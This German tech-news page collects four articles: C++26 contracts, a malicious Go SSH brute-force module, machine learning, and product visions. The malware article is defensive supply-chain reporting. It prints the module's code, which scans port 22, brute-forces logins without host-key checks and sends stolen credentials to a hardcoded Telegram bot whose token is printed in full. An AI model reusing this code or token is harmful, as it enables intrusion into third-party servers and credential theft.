Connect with us

Entwicklung & Code

Contracts in C++ 26: Ein tiefer Einblick in die Verträge


Ich habe Contracts schon in einem früheren Blogbeitrag vorgestellt. In zwei weiteren Artikeln gehe ich nun näher auf die Details ein.


Rainer Grimm

Rainer Grimm

Rainer Grimm ist seit vielen Jahren als Softwarearchitekt, Team- und Schulungsleiter tätig. Er schreibt gerne Artikel zu den Programmiersprachen C++, Python und Haskell, spricht aber auch gerne und häufig auf Fachkonferenzen. Auf seinem Blog Modernes C++ beschäftigt er sich intensiv mit seiner Leidenschaft C++.

In diesem Beitrag beziehe ich mich hauptsächlich auf das exzellente Proposal „Contracts for C++“. Leider ist der Proposal P2900R14 über 100 Seiten lang. Daher werde ich versuchen, die wichtigsten Punkte kurz und prägnant zusammenzufassen. Im Zweifelsfall sollten Interessierte aber das Proposal selbst lesen.

Ich möchte diesen Artikel mit ein paar grundlegenden Definitionen beginnen, die für ein tieferes Verständnis von Contracts wichtig sind.

Ein Contract legt Schnittstellen für Softwarekomponenten präzise und überprüfbar fest. Diese Softwarekomponenten sind in C++26 Funktionen und Methoden. Der Vertrag besteht aus einer Reihe von Bedingungen.

Eine Contract Violation liegt vor, wenn eine Bedingung des Contract nicht erfüllt ist. Eine Contract Violation kann aus drei Gründen auftreten:

  1. Die Auswertung des Prädikats gibt false zurück.
  2. Die Auswertung des Prädikats verursacht eine Ausnahme.
  3. Die Auswertung des Prädikats erfolgt zur Compile-Zeit, aber das Prädikat ist kein konstanter Ausdruck.

Ein korrektes Programm ist ein Programm, das nicht gegen die Contracts verstößt. Die Bedingungen lassen sich in drei Kategorien einteilen:

  1. Eine Precondition: ein Prädikat, das beim Eintritt in eine Funktion gelten soll.
  2. Eine Postcondition: Ein Prädikat, das beim Verlassen der Funktion gelten soll.
  3. Eine Invariant: Ein Prädikat, das an seiner Stelle in der Berechnung gelten soll.

Die Precondition und die Postcondition werden außerhalb der Funktionsdefinition platziert, die Invariant hingegen innerhalb der Funktionsdefinition. Ein Prädikat ist ein Ausdruck, der einen booleschen Wert zurückgibt. Diese Prädikate, die zur Überprüfung des Vertrags verwendet werden, heißen Contract Assertions.

In folgendem Beispiel aus dem Proposals steht contract_assert für die Invariante:


int f(const int x)
  pre (x != 1) // a precondition assertion
  post(r : r == x && r != 2) // a postcondition assertion; r names the result object of f
{
  contract_assert (x != 3); // an assertion statement
  return x;
}


Die folgenden Aufrufe der Funktion f zeigen die Vertragsverletzungen:


void g()
{
  f(0); // no contract violation
  f(1); // violates precondition assertion of f
  f(2); // violates postcondition assertion of f
  f(3); // violates assertion statement within f
  f(4); // no contract violation
}


Ein paar Einschränkungen gelten noch für Contracts. Im Moment können virtuelle Funktionen keine Preconditions oder Postconditions enthalten. Das wird sich wahrscheinlich mit zukünftigen Standards ändern.

Ähnliche Einschränkungen gelten für defaulted und deleted Funktionen. Die erste Deklaration dieser Funktionen darf keine Preconditions oder Postconditions enthalten. Natürlich gelten Einschränkungen auch für Konstruktoren und Destruktoren. Preconditions in Konstruktoren können nur auf nicht statische Datenelemente der Klasse über den this-Zeiger zugreifen. Das Gleiche gilt für Postconditions in Destruktoren.

Nun bleiben noch zwei wichtige Fragen zu beantworten:

  1. Wann werden Contract-Assertions ausgewertet?
  2. Wie ist die Semantik der Auswertung von Contract-Assertions?

Im Proposal heißt es: „Preconditions werden unmittelbar nach der Initialisierung der Funktionsparameter und vor dem Eintritt in den Funktionskörper ausgewertet. Postconditions werden unmittelbar nach dem Löschen der lokalen Variablen in der Funktion ausgewertet, wenn eine Funktion normal zurückkehrt. Assertionsanweisungen werden an der Stelle in der Funktion ausgeführt, an der der Kontrollfluss sie erreicht.“


Tabelle Evaluation Semantics

Tabelle Evaluation Semantics

Die Tabelle zeigt die Semantic für die Evaluierung.

(Bild: Rainer Grimm)

Das Proposal sieht vier Auswertungs-Semantiken vor: ignore, observe, enforce und quick-enforce. Eine Implementierung kann aber auch ihre eigene Semantik implementieren. Die Auswahl der Auswertungs-Semantik hängt von der Implementierung ab. Sie kann eine semantische Auswahl zur Compile-, Link-, Lade- oder Laufzeit bieten.

Die wahrscheinlichste Option ist die Auswahl über Compiler-Flags. Das folgende Flag wird für die Compiler Clang und GCC verwendet, um die Auswertungs-Semantik ignore anzuwenden: –fcontract_semantic=ignore. Es ist aber auch denkbar, dass die Auswahl über Konfigurationsdateien oder Hooks in der ausführbaren Datei erfolgt.

Standardmäßig sollte die Semantik zur Laufzeit erzwungen werden. Eine passende Standardkonfiguration für einen optimierten Release-Build sollte die Semantik zur Compilezeit erzwingen, aber zur Laufzeit ignorieren.

In meinem nächsten Artikel werde ich meine ausführliche Betrachtung von Contracts abschließen. Dabei werde ich insbesondere die vier Auswertungs-Semantiken ignore, observe, enforce und quick-enforce näher betrachten.


(rme)



Source link

Entwicklung & Code

Go-Modul für Brute-Force-Angriffe auf SSH stiehlt die gefundenen Zugänge


close notice

This article is also available in
English.

It was translated with technical assistance and editorially reviewed before publication.

Ein von der Sicherheitsfirma Socket entdecktes Go-Modul führt zufällige Angriffe auf SSH-Ports durch, meldet einen Erfolg aber nicht nur dem aktuellen Nutzer, sondern auch dem Autor des Tools per Telegram. Weil die Telegram-API HTTPS verwendet, täuscht sie Sicherheitssysteme, da es sich beim Bot-Traffic um gewöhnliche Web-Requests handelt.

Das schädliche Go-Modul nennt sich golang-random-ip-ssh-bruteforce und lässt sich auf einen Cyberangreifer zurückverfolgen, der auf GitHub und im Go-Module-Ökosystem unter dem Namen IllDieAnyway zu finden ist. Seine GitHub-Seite hostete neben dem Go-Schädling weitere Tools wie einen Port-Scanner und einen Brute Forcer für das Datenbankwerkzeug phpMyAdmin – ebenfalls mit Backdoor. Mittlerweile sind die Webseiten von IllDieAnyway auf GitHub und Go-Module nicht mehr verfügbar.

golang-random-ip-ssh-bruteforce generiert kontinuierlich zufällige IPv4-Adressen und scannt damit parallel TCP-Port 22 auf ungeschützte SSH-Dienste. Dabei nutzt es HostKeyCallback: ssh.InsecureIgnoreHostKey(), um serverseitige Identitätschecks zu umgehen. Bei einem Treffer versucht der Schädling, eine Authentifizierung mit einer einfachen, lokalen Benutzername-Passwort-Liste durchzuführen. Nach einer erfolgreichen Anmeldung übermittelt golang-random-ip-ssh-bruteforce die IP-Adresse des Rechners und die Zugangsdaten an einen im Quellcode hartkodierten Telegram-Bot und meldet dem Nutzer den Erfolg. Anschließend beendet es sich selbst, um gegenüber dem Angriffspunkt möglichst verdeckt zu bleiben.

Socket hat einen Ausschnitt des Codes veröffentlicht und kommentiert:


// Probe the host on TCP 22. If the port is reachable, launch brute forcing.
func IsOpened(host string) {
    target := fmt.Sprintf("%s:%d", host, 22)
    conn, err := net.DialTimeout("tcp", target, 2*time.Second)
    if err == nil && conn != nil {
        conn.Close()
        go brute(host)
    }
}

// Configure SSH to skip host key verification, then attempt user:pass.
sshConfig := &ssh.ClientConfig{
    User: user,
    Auth: []ssh.AuthMethod{ssh.Password(pass)},
    Timeout: time.Duration(timeout) * time.Second,
    HostKeyCallback: ssh.InsecureIgnoreHostKey(), // Skip server verification.
}
client, err := ssh.Dial("tcp", addr, sshConfig)

// On first success, send stolen credentials to the threat actor's Telegram.
data := addr + ":" + user + ":" + pass + ""
http.Get("https://api[.]telegram[.]org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884&parse_mode=HTML&text=" + data)
close(succ) // Signal success and exit.


Nach erfolgreicher Übermittlung der abgegriffenen Daten antwortet die Telegram-API mit "ok": true für eine gültige message_id für den Chat 1159678884. Der hartcodierte Austrittspunkt lautet:

https://api.telegram[.]org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884

Laut Socket.dev ist das Bot-Token 5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY derzeit noch live. Telegram identifiziert den Bot als ssh_bot mit dem Usernamen @sshZXC_bot. Der Ziel-Chat 1159678884 ist ein privater Chat mit @io_ping (alias Gett). Sind Bot-Token und Chat aktiv, sendet der Go-Schädling die Daten jedes ersten erfolgreich durchgeführten Logins im Format ip:user:pass via @sshZXC_bot an @io_ping.


Telegram Client

Telegram Client

Der Telegram-Bot in Aktion: Der Go-Schädling ist aktiv (links), rechts die Account-Informationen des Bedrohungsakteurs.

(Bild: Socket.dev)

Das schädliche Go-Modul enthält eine kurze, statische Wortliste und bekommt weder Updates noch Zugangsdaten über das Netzwerk, sodass es bis zum ersten Treffer im Stillen läuft. Die Wortliste kombiniert lediglich zwei Usernamen – root und admin – mit schwachen und Standardpasswörtern, zum Beispiel toor, raspberry, dietpi, alpine, password, qwerty, numerische Sequenzen und Rollenbegriffe wie webadmin, webmaster, maintenance, techsupport, marketing oder uploader.


Liste User und Passwörter

Liste User und Passwörter

Das schädliche Go-Modul enthält eine SSH-Brute-Force-Wortliste, welche die Usernamen root und admin mit schwachen Passwörtern kombiniert.

(Bild: Socket.dev)

Socket warnt prinzipiell vor Supply-Chain-Attacken beim Einsatz von Modulen im eigenen Code. Anwenderinnen und Anwender sollten diese immer genau untersuchen, beispielsweise auf hartkodierte Gegenstellen im Netz – oft bei Telegram.


(who)



Source link

Weiterlesen

Entwicklung & Code

KI-Überblick 2: Wie Maschinen lernen – Methoden des Machine Learning


Maschinelles Lernen ist der mit Abstand bedeutendste Teilbereich der modernen Künstlichen Intelligenz. Praktisch alle heute erfolgreichen KI-Anwendungen basieren darauf: Texte zu generieren, Bilder zu analysieren, Sprache zu verstehen, Vorhersagen zu treffen – all das gelingt, weil Maschinen aus Daten lernen.

Doch wie funktioniert dieses Lernen eigentlich? Was bedeutet es, wenn ein System „trainiert“ wird? Und warum ist maschinelles Lernen keine Blackbox, sondern ein strukturiertes Vorgehen?


the next big thing – Golo Roden

the next big thing – Golo Roden

Golo Roden ist Gründer und CTO von the native web GmbH. Er beschäftigt sich mit der Konzeption und Entwicklung von Web- und Cloud-Anwendungen sowie -APIs, mit einem Schwerpunkt auf Event-getriebenen und Service-basierten verteilten Architekturen. Sein Leitsatz lautet, dass Softwareentwicklung kein Selbstzweck ist, sondern immer einer zugrundeliegenden Fachlichkeit folgen muss.

In diesem Beitrag gebe ich einen konzeptuellen Überblick über maschinelles Lernen. Ich zeige, welche Arten des Lernens es gibt, was sie unterscheidet und welche grundlegenden Ideen dahinterstehen.

Der entscheidende Unterschied zwischen klassischer Programmierung und maschinellem Lernen ist einfach: Bei traditioneller Software legen Entwicklerinnen und Entwickler explizite Regeln fest, nach denen ein Programm arbeitet. Beim maschinellen Lernen hingegen geben sie einem System Daten – und lassen es selbstständig Muster erkennen und Regeln ableiten.

Ein typisches Beispiel ist die automatische Bilderkennung. Statt einem Programm mühsam beizubringen, dass Katzen in Bildern meist Ohren, Schnurrhaare und eine bestimmte Fellstruktur haben, zeigt man ihm einfach viele Bilder von Katzen und Nicht-Katzen. Das System lernt dabei, welche Merkmale typisch sind – auf Basis statistischer Zusammenhänge in den Daten.

Diese Fähigkeit zur Generalisierung ist die zentrale Stärke maschinellen Lernens. Gut trainierte Modelle können nicht nur bekannte Beispiele richtig einordnen, sondern auch mit neuen, ähnlichen Situationen umgehen.

Im maschinellen Lernen unterscheidet man grob drei grundlegende Paradigmen: überwachtes Lernen, unüberwachtes Lernen und bestärkendes Lernen. Sie unterscheiden sich darin, ob und wie Feedback gegeben wird.

Beim überwachten Lernen erhält das Modell zu jedem Trainingsbeispiel eine Zielvorgabe – etwa die richtige Klassifikation eines Bildes oder den erwarteten Ausgabewert bei einer Regressionsaufgabe. Das Modell versucht dann, diese Zielvorgaben zu reproduzieren.

Beispiele:

  • Erkennen, ob eine E-Mail Spam ist oder nicht,
  • Vorhersage von Immobilienpreisen anhand von Standort und Ausstattung,
  • Diagnostik in der Medizin auf Basis von Bilddaten.

Das Modell wird so lange angepasst, bis es auf den Trainingsdaten möglichst wenig Fehler macht. Es lernt, die Beziehung zwischen Eingaben und Ausgaben zu modellieren.

Beim unüberwachten Lernen gibt es keine Zielvorgaben. Stattdessen versucht das System, Strukturen in den Daten zu erkennen – etwa Gruppen, Muster oder Ausreißer.

Beispiele:

  • Kundensegmentierung im Marketing,
  • Erkennung von Anomalien in Produktionsdaten,
  • Thematische Clusterung von Texten.

Ein verbreiteter Ansatz ist das Clustering, bei dem Datenpunkte in Gruppen mit ähnlichen Eigenschaften eingeteilt werden. Auch Dimensionsreduktion, also das Vereinfachen komplexer Datenräume, gehört in diesen Bereich.

Bestärkendes Lernen funktioniert grundlegend anders: Hier lernt ein Agent durch Interaktion mit einer Umgebung. Er erhält Belohnungen oder Bestrafungen, je nachdem, wie gut seine Aktionen in einer Situation waren, und passt sein Verhalten entsprechend an.

Beispiele:

  • Spielende KI (beispielsweise AlphaGo oder Schachprogramme),
  • Steuerung von Robotern,
  • Optimierung von Prozessen, zum Beispiel in der Logistik.

Im Gegensatz zu den anderen Lernarten geht es hier nicht um das Erkennen von Mustern, sondern um das Erlernen von Handlungsstrategien, die langfristig zu möglichst hoher Belohnung führen.

Unabhängig von der Art des Lernens basiert maschinelles Lernen immer auf der Idee, dass ein Modell aus einer Vielzahl möglicher Erklärungsansätze (dem sogenannten Hypothesenraum) eine möglichst gute Hypothese findet, die mit den beobachteten Daten übereinstimmt. Diese Hypothese kann zum Beispiel eine Regressionsfunktion, ein Entscheidungsbaum oder ein neuronales Netz sein.

Das Ziel besteht darin, nicht nur die Trainingsdaten zu erklären, sondern auch bei neuen, bisher unbekannten Daten eine möglichst gute Leistung zu erbringen. Diese Fähigkeit zur Verallgemeinerung ist zentral – und genau hier liegt die Herausforderung: Lässt man das Modell zu stark an die Trainingsdaten anpassen, besteht die Gefahr des Overfitting. Dann merkt sich das System Details und Zufälligkeiten, statt die dahinterliegenden Muster zu erfassen.

Trotz der beeindruckenden Erfolge maschinell lernender Systeme darf man nicht vergessen, dass es sich dabei um strukturierte Optimierungsverfahren handelt. Die Lernprozesse sind formal beschreibbar, nachvollziehbar und – bis auf Details in komplexen Modellen – durchaus analysierbar. Die Vorstellung, dass maschinelles Lernen eine Blackbox sei, ist nur dann berechtigt, wenn man auf die genaue Parametrisierung einzelner Modelle abstellt. Das Prinzip ist jedoch alles andere als magisch.

Umso wichtiger ist es, die Grundidee zu verstehen: Maschinelles Lernen bedeutet, aus Beispielen zu lernen, um Entscheidungen auf neue Situationen zu übertragen. Damit dies zuverlässig funktioniert, braucht es geeignete Daten, durchdachte Modellarchitekturen und eine sorgfältige Evaluation.

In der nächsten Folge werden wir uns näher mit neuronalen Netzen befassen – der Modellklasse, die das Deep Learning geprägt und viele der jüngsten Durchbrüche in der KI ermöglicht hat. Wir klären, was hinter Begriffen wie Neuron, Schicht und Aktivierungsfunktion steckt – und warum man mit einfachen Bausteinen erstaunlich komplexe Strukturen modellieren kann.


(rme)



Source link

Weiterlesen

Entwicklung & Code

Die Produktwerker: Produktvisionen im Team verankern


In dieser Folge sprechen Oliver Winter und Dominique Winter über ein Thema, das oft unterschätzt wird und trotzdem die Arbeit eines ganzen Produktteams prägen kann: die Produktvision. Beide erleben in ihrer Arbeit immer wieder, wie stark der Unterschied ist zwischen einer Vision, die nur an einer Wand hängt, und einer, die tatsächlich im Team gelebt wird. Eine gute Produktvision gibt nämlich Richtung und Sinn. Sie hilft, Entscheidungen einzuordnen, Prioritäten zu setzen und auch schwierige Diskussionen schneller aufzulösen. Vor allem schafft sie ein gemeinsames Verständnis darüber, wofür das Team eigentlich antritt. Doch genau das ist die Herausforderung: eine Vision so zu entwickeln, dass sie nicht nur von Product Owner oder Führung formuliert wird, sondern dass das gesamte Team sie verinnerlicht.


Product Owner Days, Konferenz in Köln, 2. und 3. April 2025

Product Owner Days, Konferenz in Köln, 2. und 3. April 2025

(Bild: deagreez/123rf.com)

So geht Produktmanagement: Auf der Online-Konferenz Product Owner Day von dpunkt.verlag und iX am 13. November 2025 können Product Owner, Produktmanagerinnen und Service Request Manager ihren Methodenkoffer erweitern, sich vernetzen und von den Good Practices anderer Unternehmen inspirieren lassen.

Es ist wichtig, dass Teams gemeinsam an ihrer Produktvision arbeiten. Dabei geht es nicht um den perfekten Satz, sondern darum, im Austausch ein Bild zu schaffen, das alle teilen können. Solche Prozesse machen eine Vision greifbar und verhindern, dass sie als reine Management-Vorgabe wahrgenommen wird. Wer von Anfang an beteiligt ist, fühlt sich verbunden und handelt eher danach. Damit eine Produktvision nach der Entwicklung aber nicht in Vergessenheit gerät, braucht es mehr als nur einen guten Start. Sie muss regelmäßig im Alltag auftauchen: im Planning, wenn über Prioritäten entschieden wird, im Review, wenn Ergebnisse eingeordnet werden, oder auch in Retrospektiven, wenn das Team reflektiert, ob es auf dem richtigen Weg ist. Eine Vision, die so verankert ist, bleibt lebendig und entwickelt sich weiter, ohne ihre Orientierungskraft zu verlieren.

Besonders wertvoll wird eine Produktvision auch beim Onboarding. Neue Teammitglieder verstehen schneller, warum das Produkt existiert und welchen Unterschied es macht. Wenn nicht nur Product Owner, sondern auch Entwicklerinnen und Entwickler sowie Designer die Vision erzählen können, zeigt das, dass sie wirklich Teil der gemeinsamen Arbeit geworden ist.

Die beiden Podcaster machen deutlich: Eine Produktvision entfaltet ihre Wirkung nicht durch Worte allein, sondern dadurch, dass sie im Team geteilt und immer wieder neu mit Leben gefüllt wird. Sie ist der Kompass, der allen hilft, auch in komplexen Situationen die Richtung nicht zu verlieren.

Weitere Folgen zum Thema Produktvisionen finden sich hier:

Die aktuelle Ausgabe des Podcasts steht auch im Blog der Produktwerker bereit: „Die Produktwerker: Produktvisionen im Team verankern„.


(mai)



Source link

Weiterlesen

Beliebt